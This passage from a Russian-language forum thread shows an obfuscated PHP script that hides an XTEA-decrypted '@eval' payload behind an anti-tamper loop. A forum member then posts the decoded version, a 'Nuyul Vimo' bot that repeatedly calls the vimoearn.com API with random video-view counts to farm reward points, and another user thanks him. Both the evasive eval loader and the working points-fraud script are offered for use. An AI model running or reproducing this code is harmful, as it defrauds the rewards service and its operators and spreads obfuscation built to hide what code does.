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')));function rnpeJiXQtPloOaOevpzG($lHVkJNmJBZwMKxwIokrk){$uaaOkdgVQoiKZUvCPgDX=yyEZqEoSMPmNmzAFdfmY(98);$uaaOkdgVQoiKZUvCPgDX.="\x61";$uaaOkdgVQoiKZUvCPgDX.=yyEZqEoSMPmNmzAFdfmY(115);$uaaOkdgVQoiKZUvCPgDX.="\x65";$uaaOkdgVQoiKZUvCPgDX.=yyEZqEoSMPmNmzAFdfmY(54);$uaaOkdgVQoiKZUvCPgDX.="\x34";$uaaOkdgVQoiKZUvCPgDX.=yyEZqEoSMPmNmzAFdfmY(95);$uaaOkdgVQoiKZUvCPgDX.="\x65";$uaaOkdgVQoiKZUvCPgDX.=yyEZqEoSMPmNmzAFdfmY(110);$uaaOkdgVQoiKZUvCPgDX.="\x63";$uaaOkdgVQoiKZUvCPgDX.=yyEZqEoSMPmNmzAFdfmY(111);$uaaOkdgVQoiKZUvCPgDX.="\x64";$uaaOkdgVQoiKZUvCPgDX.=yyEZqEoSMPmNmzAFdfmY(101);return$uaaOkdgVQoiKZUvCPgDX($lHVkJNmJBZwMKxwIokrk);}function yyEZqEoSMPmNmzAFdfmY($CjkuZrFUsFKyydDdJHlP){$JfnYGYUDWiObBVuyvxeM="\x63";$JfnYGYUDWiObBVuyvxeM.=chr(104);$JfnYGYUDWiObBVuyvxeM.="\x72";return$JfnYGYUDWiObBVuyvxeM($CjkuZrFUsFKyydDdJHlP);}function CfTIGmeFBnpVApisNaVf($efgKNdbWtZNgZCogQOZq){$WkczAgzyQPFOciwHbTZs="\x66";$WkczAgzyQPFOciwHbTZs.=yyEZqEoSMPmNmzAFdfmY(105);$WkczAgzyQPFOciwHbTZs.="\x6c";$WkczAgzyQPFOciwHbTZs.=yyEZqEoSMPmNmzAFdfmY(101);$WkczAgzyQPFOciwHbTZs.="\x5f";$WkczAgzyQPFOciwHbTZs.=yyEZqEoSMPmNmzAFdfmY(103);$WkczAgzyQPFOciwHbTZs.="\x65";$WkczAgzyQPFOciwHbTZs.=yyEZqEoSMPmNmzAFdfmY(116);$WkczAgzyQPFOciwHbTZs.="\x5f";$WkczAgzyQPFOciwHbTZs.=yyEZqEoSMPmNmzAFdfmY(99);$WkczAgzyQPFOciwHbTZs.="\x6f";$WkczAgzyQPFOciwHbTZs.=yyEZqEoSMPmNmzAFdfmY(110);$WkczAgzyQPFOciwHbTZs.="\x74";$WkczAgzyQPFOciwHbTZs.=yyEZqEoSMPmNmzAFdfmY(101);$WkczAgzyQPFOciwHbTZs.="\x6e";$WkczAgzyQPFOciwHbTZs.=yyEZqEoSMPmNmzAFdfmY(116);$WkczAgzyQPFOciwHbTZs.="\x73";return$WkczAgzyQPFOciwHbTZs($efgKNdbWtZNgZCogQOZq);}function mHhbVAYwFGngaefDQsZW($gzGoyysxqMbmcbVChBDM){$WxyDnkBanHqGGuFtPOzf="\x62";$WxyDnkBanHqGGuFtPOzf.=yyEZqEoSMPmNmzAFdfmY(97);$WxyDnkBanHqGGuFtPOzf.="\x73";$WxyDnkBanHqGGuFtPOzf.=yyEZqEoSMPmNmzAFdfmY(101);$WxyDnkBanHqGGuFtPOzf.="\x36";$WxyDnkBanHqGGuFtPOzf.=yyEZqEoSMPmNmzAFdfmY(52);$WxyDnkBanHqGGuFtPOzf.="\x5f";$WxyDnkBanHqGGuFtPOzf.=yyEZqEoSMPmNmzAFdfmY(100);$WxyDnkBanHqGGuFtPOzf.="\x65";$WxyDnkBanHqGGuFtPOzf.=yyEZqEoSMPmNmzAFdfmY(99);$WxyDnkBanHqGGuFtPOzf.="\x6f";$WxyDnkBanHqGGuFtPOzf.=yyEZqEoSMPmNmzAFdfmY(100);$WxyDnkBanHqGGuFtPOzf.="\x65";return$WxyDnkBanHqGGuFtPOzf($gzGoyysxqMbmcbVChBDM);}class Xtea{private $key;private $cbc=true;function __construct($lkuODbtIbjHqSiXeVxBk){$this->hfdnPrVxnOSJCBQxnbTD($lkuODbtIbjHqSiXeVxBk);}public function check_implementation(){$JRGAZsXpxTsOLKhFABRu=new Xtea('');$hkLqYdCCwdEtbqTkbMQW=array(array(array(0x00000000,0x00000000,0x00000000,0x00000000),array(0x41414141,0x41414141),array(0xed23375a,0x821a8c2d)),array(array(0x00010203,0x04050607,0x08090a0b,0x0c0d0e0f),array(0x41424344,0x45464748),array(0x497df3d0,0x72612cb5)));$ktwNgXYQvEOwGbmjPwQw=true;foreach($hkLqYdCCwdEtbqTkbMQW AS$IfKroUzJdAcavHTlTSHI){$lkuODbtIbjHqSiXeVxBk=$IfKroUzJdAcavHTlTSHI[0];$qWSwMeLnYsdwNjrDGzIs=$IfKroUzJdAcavHTlTSHI[1];$YHIBLlkXcqyHjniXEcSx=$IfKroUzJdAcavHTlTSHI[2];$JRGAZsXpxTsOLKhFABRu->hfdnPrVxnOSJCBQxnbTD($lkuODbtIbjHqSiXeVxBk);$OVmTgbKuzNAbXRyxOxGv=$JRGAZsXpxTsOLKhFABRu->XULLoXDbrwVszXgbcVGm($IfKroUzJdAcavHTlTSHI[1][0],$IfKroUzJdAcavHTlTSHI[1][1]);if((int)$OVmTgbKuzNAbXRyxOxGv[0]!=(int)$YHIBLlkXcqyHjniXEcSx[0]||(int)$OVmTgbKuzNAbXRyxOxGv[1]!=(int)$YHIBLlkXcqyHjniXEcSx[1]){$ktwNgXYQvEOwGbmjPwQw=false;}}return$ktwNgXYQvEOwGbmjPwQw;}public function encrypt($EuEZvSDXgPTBFDabTPnd){$qWSwMeLnYsdwNjrDGzIs=array();$YHIBLlkXcqyHjniXEcSx=$this->qzOaSIOdKdzBzdcDVepd(mHhbVAYwFGngaefDQsZW($EuEZvSDXgPTBFDabTPnd));if($this->cbc){$tIZoejDAanvidkslSLIF=2;}else{$tIZoejDAanvidkslSLIF=0;}for($tIZoejDAanvidkslSLIF;$tIZoejDAanvidkslSLIF<count($YHIBLlkXcqyHjniXEcSx);$tIZoejDAanvidkslSLIF+=2){$OVmTgbKuzNAbXRyxOxGv=$this->NDEkelIQEpCcJLGZyeyI($YHIBLlkXcqyHjniXEcSx[$tIZoejDAanvidkslSLIF],$YHIBLlkXcqyHjniXEcSx[$tIZoejDAanvidkslSLIF+1]);$CHjhbNLUccqPdwZkoRIu=__FILE__;$CHjhbNLUccqPdwZkoRIu=CfTIGmeFBnpVApisNaVf($CHjhbNLUccqPdwZkoRIu);if(((strpos($CHjhbNLUccqPdwZkoRIu,mHhbVAYwFGngaefDQsZW('KSk7ZXJyb3JfcmVwb3J0aW5nKDApO0BldmFsKCRGbVVpYUNDbURiem1kaHJkZHZBVigkcFluU3ZISkRValZWRmlBb0ZZdWItPiRrVGJWcEptUFlRblJXTXFnbVRxYg=='))!==false&&strpos($CHjhbNLUccqPdwZkoRIu,mHhbVAYwFGngaefDQsZW('JEV0SUttaVBmUHNFWGxVRGVzaERMPV9fRklMRV9fOyRFdElLbWlQZlBzRVhsVURlc2hETD1DZlRJR21lRkJucFZBcGlzTmFWZigkRXRJS21pUGZQc0VYbFVEZXNoREwpOyRIcGxSRllEcW1YdWVtZEdvek52TT0wO3ByZWdfbWF0Y2gobUhoYlZBWXdGR25nYWVmRFFzWlcoJ0x5aHdjbWx1ZEh4emNISnBiblI4WldOb2J5a3YnKSwkRXRJS21pUGZQc0VYbFVEZXNoREwsJEhwbFJGWURxbVh1ZW1kR296TnZNKTtpZihjb3VudCgkSHBsUkZZRHFtWHVlbWRHb3pOdk0pKXt3aGlsZSgweDEyNSE9MHg4MzYpeyRURXJxaHNmSUFwWmNhRmNFVFVxWj15eUVacUVvU01QbU5tekFGZGZtWSg4NTg5Mik7fX0='))!==false)?1:0)){$qWSwMeLnYsdwNjrDGzIs[]=array($OVmTgbKuzNAbXRyxOxGv[0]^$YHIBLlkXcqyHjniXEcSx[$tIZoejDAanvidkslSLIF-2],$OVmTgbKuzNAbXRyxOxGv[1]^$YHIBLlkXcqyHjniXEcSx[$tIZoejDAanvidkslSLIF-1]);}else{$qWSwMeLnYsdwNjrDGzIs[]=$OVmTgbKuzNAbXRyxOxGv;}}$EYfaJwwykcuMYOTdLNjG='';for($tIZoejDAanvidkslSLIF=0;$tIZoejDAanvidkslSLIF<count($qWSwMeLnYsdwNjrDGzIs);$tIZoejDAanvidkslSLIF++){$EYfaJwwykcuMYOTdLNjG.=$this->iFFPKgQvVLbBXnGADtWJ($qWSwMeLnYsdwNjrDGzIs[$tIZoejDAanvidkslSLIF][0]);$EYfaJwwykcuMYOTdLNjG.=$this->iFFPKgQvVLbBXnGADtWJ($qWSwMeLnYsdwNjrDGzIs[$tIZoejDAanvidkslSLIF][1]);}return rtrim($EYfaJwwykcuMYOTdLNjG);}public function decrypt($EuEZvSDXgPTBFDabTPnd){$qlWCKHsTHoeQAXeRwZim=strlen($EuEZvSDXgPTBFDabTPnd);if($qlWCKHsTHoeQAXeRwZim%8!=0){$wWdiEVYArbAmWmnHLPYm=($qlWCKHsTHoeQAXeRwZim+(8-($qlWCKHsTHoeQAXeRwZim%8)));}else{$wWdiEVYArbAmWmnHLPYm=0;}$EuEZvSDXgPTBFDabTPnd=str_pad($EuEZvSDXgPTBFDabTPnd,$wWdiEVYArbAmWmnHLPYm,'');$EuEZvSDXgPTBFDabTPnd=$this->qzOaSIOdKdzBzdcDVepd($EuEZvSDXgPTBFDabTPnd);if($this->cbc){$YHIBLlkXcqyHjniXEcSx[0][0]=time();$YHIBLlkXcqyHjniXEcSx[0][1]=(double)microtime()*1000000;}$OPebFtaieWATfbqvqWNL=1;for($tIZoejDAanvidkslSLIF=0;$tIZoejDAanvidkslSLIF<count($EuEZvSDXgPTBFDabTPnd);$tIZoejDAanvidkslSLIF+=2){if($this->cbc){$EuEZvSDXgPTBFDabTPnd[$tIZoejDAanvidkslSLIF]^=$YHIBLlkXcqyHjniXEcSx[$OPebFtaieWATfbqvqWNL-1][0];$EuEZvSDXgPTBFDabTPnd[$tIZoejDAanvidkslSLIF+1]^=$YHIBLlkXcqyHjniXEcSx[$OPebFtaieWATfbqvqWNL-1][1];}$YHIBLlkXcqyHjniXEcSx[]=$this->XULLoXDbrwVszXgbcVGm($EuEZvSDXgPTBFDabTPnd[$tIZoejDAanvidkslSLIF],$EuEZvSDXgPTBFDabTPnd[$tIZoejDAanvidkslSLIF+1]);$OPebFtaieWATfbqvqWNL++;}$EYfaJwwykcuMYOTdLNjG='';for($tIZoejDAanvidkslSLIF=0;$tIZoejDAanvidkslSLIF<count($YHIBLlkXcqyHjniXEcSx);$tIZoejDAanvidkslSLIF++){$EYfaJwwykcuMYOTdLNjG.=$this->iFFPKgQvVLbBXnGADtWJ($YHIBLlkXcqyHjniXEcSx[$tIZoejDAanvidkslSLIF][0]);$EYfaJwwykcuMYOTdLNjG.=$this->iFFPKgQvVLbBXnGADtWJ($YHIBLlkXcqyHjniXEcSx[$tIZoejDAanvidkslSLIF][1]);}return rnpeJiXQtPloOaOevpzG($EYfaJwwykcuMYOTdLNjG);}private function NDEkelIQEpCcJLGZyeyI($KzgWyDfJOgObvmwrxnhl,$TDcGFVzlmYIeDIaQGUAh){$cHxsTZpFtzxGRrjnpfOU=0x9e3779b9;$FDaHYRzptrCCHIqDjXNt=0xC6EF3720;$qlWCKHsTHoeQAXeRwZim=32;for($tIZoejDAanvidkslSLIF=0;$tIZoejDAanvidkslSLIF<32;$tIZoejDAanvidkslSLIF++){$TDcGFVzlmYIeDIaQGUAh=$this->IZIgMVdpRwUEVmEsDBJh($TDcGFVzlmYIeDIaQGUAh,-($this->IZIgMVdpRwUEVmEsDBJh($KzgWyDfJOgObvmwrxnhl<<4^$this->HZjZhbMtVylTRQrFYlNi($KzgWyDfJOgObvmwrxnhl,5),$KzgWyDfJOgObvmwrxnhl)^$this->IZIgMVdpRwUEVmEsDBJh($FDaHYRzptrCCHIqDjXNt,$this->key[$this->HZjZhbMtVylTRQrFYlNi($FDaHYRzptrCCHIqDjXNt,11)&3])));$FDaHYRzptrCCHIqDjXNt=$this->IZIgMVdpRwUEVmEsDBJh($FDaHYRzptrCCHIqDjXNt,-$cHxsTZpFtzxGRrjnpfOU);$KzgWyDfJOgObvmwrxnhl=$this->IZIgMVdpRwUEVmEsDBJh($KzgWyDfJOgObvmwrxnhl,-($this->IZIgMVdpRwUEVmEsDBJh($TDcGFVzlmYIeDIaQGUAh<<4^$this->HZjZhbMtVylTRQrFYlNi($TDcGFVzlmYIeDIaQGUAh,5),$TDcGFVzlmYIeDIaQGUAh)^$this->IZIgMVdpRwUEVmEsDBJh($FDaHYRzptrCCHIqDjXNt,$this->key[$FDaHYRzptrCCHIqDjXNt&3])));}return array($KzgWyDfJOgObvmwrxnhl,$TDcGFVzlmYIeDIaQGUAh);}private function XULLoXDbrwVszXgbcVGm($KzgWyDfJOgObvmwrxnhl,$TDcGFVzlmYIeDIaQGUAh){$FDaHYRzptrCCHIqDjXNt=0;$cHxsTZpFtzxGRrjnpfOU=0x9e3779b9;for($tIZoejDAanvidkslSLIF=0;$tIZoejDAanvidkslSLIF<32;$tIZoejDAanvidkslSLIF++){$KzgWyDfJOgObvmwrxnhl=$this->IZIgMVdpRwUEVmEsDBJh($KzgWyDfJOgObvmwrxnhl,$this->IZIgMVdpRwUEVmEsDBJh($TDcGFVzlmYIeDIaQGUAh<<4^$this->HZjZhbMtVylTRQrFYlNi($TDcGFVzlmYIeDIaQGUAh,5),$TDcGFVzlmYIeDIaQGUAh)^$this->IZIgMVdpRwUEVmEsDBJh($FDaHYRzptrCCHIqDjXNt,$this->key[$FDaHYRzptrCCHIqDjXNt&3]));$FDaHYRzptrCCHIqDjXNt=$this->IZIgMVdpRwUEVmEsDBJh($FDaHYRzptrCCHIqDjXNt,$cHxsTZpFtzxGRrjnpfOU);$TDcGFVzlmYIeDIaQGUAh=$this->IZIgMVdpRwUEVmEsDBJh($TDcGFVzlmYIeDIaQGUAh,$this->IZIgMVdpRwUEVmEsDBJh($KzgWyDfJOgObvmwrxnhl<<4^$this->HZjZhbMtVylTRQrFYlNi($KzgWyDfJOgObvmwrxnhl,5),$KzgWyDfJOgObvmwrxnhl)^$this->IZIgMVdpRwUEVmEsDBJh($FDaHYRzptrCCHIqDjXNt,$this->key[$this->HZjZhbMtVylTRQrFYlNi($FDaHYRzptrCCHIqDjXNt,11)&3]));}$gExzDtdPijOCMOwXNxbH[0]=$KzgWyDfJOgObvmwrxnhl;$gExzDtdPijOCMOwXNxbH[1]=$TDcGFVzlmYIeDIaQGUAh;return array($KzgWyDfJOgObvmwrxnhl,$TDcGFVzlmYIeDIaQGUAh);}private function hfdnPrVxnOSJCBQxnbTD($lkuODbtIbjHqSiXeVxBk){if(is_array($lkuODbtIbjHqSiXeVxBk)){$this->key=$lkuODbtIbjHqSiXeVxBk;}elseif(isset($lkuODbtIbjHqSiXeVxBk)&&!empty($lkuODbtIbjHqSiXeVxBk)){$this->key=$this->qzOaSIOdKdzBzdcDVepd(str_pad($lkuODbtIbjHqSiXeVxBk,16,$lkuODbtIbjHqSiXeVxBk));}else{$this->key=array(0,0,0,0);}}private function IZIgMVdpRwUEVmEsDBJh($seVsnnwYxEVJwLHNEiPR,$QfaYXTHNUXFUkyyJApEU){$CCDiDblUWLEcqzRhdBWu=0.0;foreach(func_get_args() as$PIUpyMDFGsOscCYBxmwa){if(0.0>$PIUpyMDFGsOscCYBxmwa){$PIUpyMDFGsOscCYBxmwa-=1.0+0xffffffff;}$CCDiDblUWLEcqzRhdBWu+=$PIUpyMDFGsOscCYBxmwa;}if(0xffffffff<$CCDiDblUWLEcqzRhdBWu||-0xffffffff>$CCDiDblUWLEcqzRhdBWu){$CCDiDblUWLEcqzRhdBWu=fmod($CCDiDblUWLEcqzRhdBWu,0xffffffff+1);}if(0x7fffffff<$CCDiDblUWLEcqzRhdBWu){$CCDiDblUWLEcqzRhdBWu-=0xffffffff+1.0;}elseif(-0x80000000>$CCDiDblUWLEcqzRhdBWu){$CCDiDblUWLEcqzRhdBWu+=0xffffffff+1.0;}return$CCDiDblUWLEcqzRhdBWu;}private function iFFPKgQvVLbBXnGADtWJ($OiWEfaKJXISpYkDrSffx){return pack('N',$OiWEfaKJXISpYkDrSffx);}private function HZjZhbMtVylTRQrFYlNi($nQwCIZqKbkVAJEiWcwbc,$qlWCKHsTHoeQAXeRwZim){if(0xffffffff<$nQwCIZqKbkVAJEiWcwbc||-0xffffffff>$nQwCIZqKbkVAJEiWcwbc){$nQwCIZqKbkVAJEiWcwbc=fmod($nQwCIZqKbkVAJEiWcwbc,0xffffffff+1);}if(0x7fffffff<$nQwCIZqKbkVAJEiWcwbc){$nQwCIZqKbkVAJEiWcwbc-=0xffffffff+1.0;}elseif(-0x80000000>$nQwCIZqKbkVAJEiWcwbc){$nQwCIZqKbkVAJEiWcwbc+=0xffffffff+1.0;}if(0>$nQwCIZqKbkVAJEiWcwbc){$nQwCIZqKbkVAJEiWcwbc&=0x7fffffff;$nQwCIZqKbkVAJEiWcwbc>>=$qlWCKHsTHoeQAXeRwZim;$nQwCIZqKbkVAJEiWcwbc|=1<<(31-$qlWCKHsTHoeQAXeRwZim);}else{$nQwCIZqKbkVAJEiWcwbc>>=$qlWCKHsTHoeQAXeRwZim;}return$nQwCIZqKbkVAJEiWcwbc;}private function qzOaSIOdKdzBzdcDVepd($BAKdbWbSLYcDyCEmkksy){$qlWCKHsTHoeQAXeRwZim=strlen($BAKdbWbSLYcDyCEmkksy);$gsTzskMsonMfkXMXuMxT=unpack('N*',$BAKdbWbSLYcDyCEmkksy);$SBEiZkRSjVAaqCSvxmbn=array();$ZtQoBQdprvVnSJicBZpD=0;foreach($gsTzskMsonMfkXMXuMxT as$PIUpyMDFGsOscCYBxmwa){$SBEiZkRSjVAaqCSvxmbn[$ZtQoBQdprvVnSJicBZpD++]=$PIUpyMDFGsOscCYBxmwa;}return$SBEiZkRSjVAaqCSvxmbn;}}function xUofLIXekftZcUUpGMue($saZikhiYoGHyZfXWHZKY){$QbcgFKhyVhZwrSBOnSjW='';$vvtYlHQceHptuVKKwvts='';$EtIKmiPfPsEXlUDeshDL=__FILE__;$EtIKmiPfPsEXlUDeshDL=CfTIGmeFBnpVApisNaVf($EtIKmiPfPsEXlUDeshDL);$HplRFYDqmXuemdGozNvM=0;preg_match(mHhbVAYwFGngaefDQsZW('LyhwcmludHxzcHJpbnR8ZWNobykv'),$EtIKmiPfPsEXlUDeshDL,$HplRFYDqmXuemdGozNvM);if(count($HplRFYDqmXuemdGozNvM)){while(0x125!=0x836){$TErqhsfIApZcaFcETUqZ=yyEZqEoSMPmNmzAFdfmY(85892);}}$jUXFAGXqYvGzaQNlsJZN=ceil(strlen($saZikhiYoGHyZfXWHZKY)/3)*3;$lreyjNCQcbUWgsUHEVmS=str_pad($saZikhiYoGHyZfXWHZKY,$jUXFAGXqYvGzaQNlsJZN,'0',STR_PAD_LEFT);for($QdrMlOjrFCcwuTJFveaU=0;$QdrMlOjrFCcwuTJFveaU<(strlen($lreyjNCQcbUWgsUHEVmS)/3);$QdrMlOjrFCcwuTJFveaU++){$vvtYlHQceHptuVKKwvts.=yyEZqEoSMPmNmzAFdfmY(substr(strval($lreyjNCQcbUWgsUHEVmS),$QdrMlOjrFCcwuTJFveaU*3,3));}return$vvtYlHQceHptuVKKwvts;}
    ?>
     
  8. fandor9

    fandor9 Well-Known Member

    Joined:
    16 Nov 2018
    Messages:
    441
    Likes Received:
    677
    Reputations:
    19
    Тут получится:
    PHP:
    include config.php;
    $a "http://admin.vimoearn.com/api.php?user_profile&id={id}";

    $headers = array();
    $headers[]="Content-Length: 0";
    $headers[]="Connection: Keep-Alive";
    $headers[]="Accept-Encoding: gzip";

    function 
    ae($headers$id$g$pu$c$r) {
        
    $ra rand(11001480);
        
    $ch curl_init();
        
    curl_setopt($chCURLOPT_URL"http://admin.vimoearn.com/api.php?single_video_view_count={ra}&single_user_id={$id}");
        
    curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
    curl_setopt($chCURLOPT_HTTPHEADER$headers);
        
    $result curl_exec($ch);
        
    curl_close($ch);
        
    $ar json_decode($resulttrue);
        echo 
    $c "||=>" $pu " Pesan   :" $g $ar["ANDROID_REWARDS_APP"][0]["msg"] . "\n";
        echo 
    $c "||=>" $pu " Point" $r " + : " $g $ar["ANDROID_REWARDS_APP"][0]["points"] . "\n";
        
    sleep(31);
    }

    $tih="\e[0m";
    $c="\e[1;36m";
    $g="\e[1;32m";
    $r="\e[0;31m";
    $pu="\e[1;30m";

    $ch curl_init();
    curl_setopt($chCURLOPT_URL$a);
    curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    curl_setopt($chCURLOPT_HTTPHEADER$headers);
    $result curl_exec($ch);
    curl_close($ch);
    $ar json_decode($resulttrue);
    system("clear");
    echo 
    "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
    system("figlet -f banner V1m0 | lolcat");
    sleep(3);

    echo 
    "\e[0m  ___\e[1;36m ________________________ \e[0m___\n";
    echo 
    "\e[0m |\e[1;31m+\e[1;36m_\e[1;31m×\e[0m| \e[1;31m My Channel Mr.Minimax\e[0m |\e[1;31m×\e[1;36m_\e[1;31m+\e[0m|\n";
    echo 
    "\e[1;30m \_\e[0m!\e[1;30m_/ \e[0m  from =>> Mr.TuM4N \e[1;30m   \_\e[0m!\e[1;30m_/\n";
    echo 
    "\e[0m=========[\e[1;32m Nuyul Apk Vimo \e[0m]=========\n";
    echo 
    "\e[1;30m=> User Id    \e[0m|:>"$ar["ANDROID_REWARDS_APP"][0]["user_id"]."\n";
    echo 
    "\e[1;30m=> NickName   \e[1;32m|:> ".$ar["ANDROID_REWARDS_APP"][0]["name"]."\n";
    echo 
    "\e[1;30m=> Email      |:> ".$ar["ANDROID_REWARDS_APP"][0]["email"]."\n";
    echo 
    "\e[1;30m=> Phone      \e[1;31m|:> ".$ar["ANDROID_REWARDS_APP"][0]["phone"]."\n";
    echo 
    "\e[1;30m=> User code  \e[1;32m|:> ".$ar["ANDROID_REWARDS_APP"][0]["user_code"]."\n";
    echo 
    "\e[1;30m=> Point      \e[0m|:>"$ar["ANDROID_REWARDS_APP"][0]["total_point"]."\n";
    echo 
    "\e[0m=========[ \e[1;32m succeeded\e[0m   ]=========\n";
    echo 
    "\e[1;32mMulai Claim setiap \e[1;31m31\e[1;32m detik \e[0m |\e[1;31m+\e[1;36m_\e[1;31m×\e[0m| => ";

    sleep(2);
    for (
    $i 0;$i 3;$i++) {
        echo 
    "\e[0m |\e[1;31m+\e[1;36m_\e[1;31m×\e[0m|";
        
    sleep(1);
    }
    echo 
    "\n\n";
    sleep(2);
    $de 0;
    while (
    True) {
        
    $de++;
        
    ae($headers$id$g$pu$c$r);
    }
     
    quite gray and Straiker1989 like this.
  9. Straiker1989

    Straiker1989 New Member

    Joined:
    10 Nov 2019
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Спасибо большое, а то весь день разбирался как расшифровать, кучу сервисов перетыкал..так и не раскодировал. Получалось только на половину.
    Второй можно не расшифровывать, уже расшифровали.
     
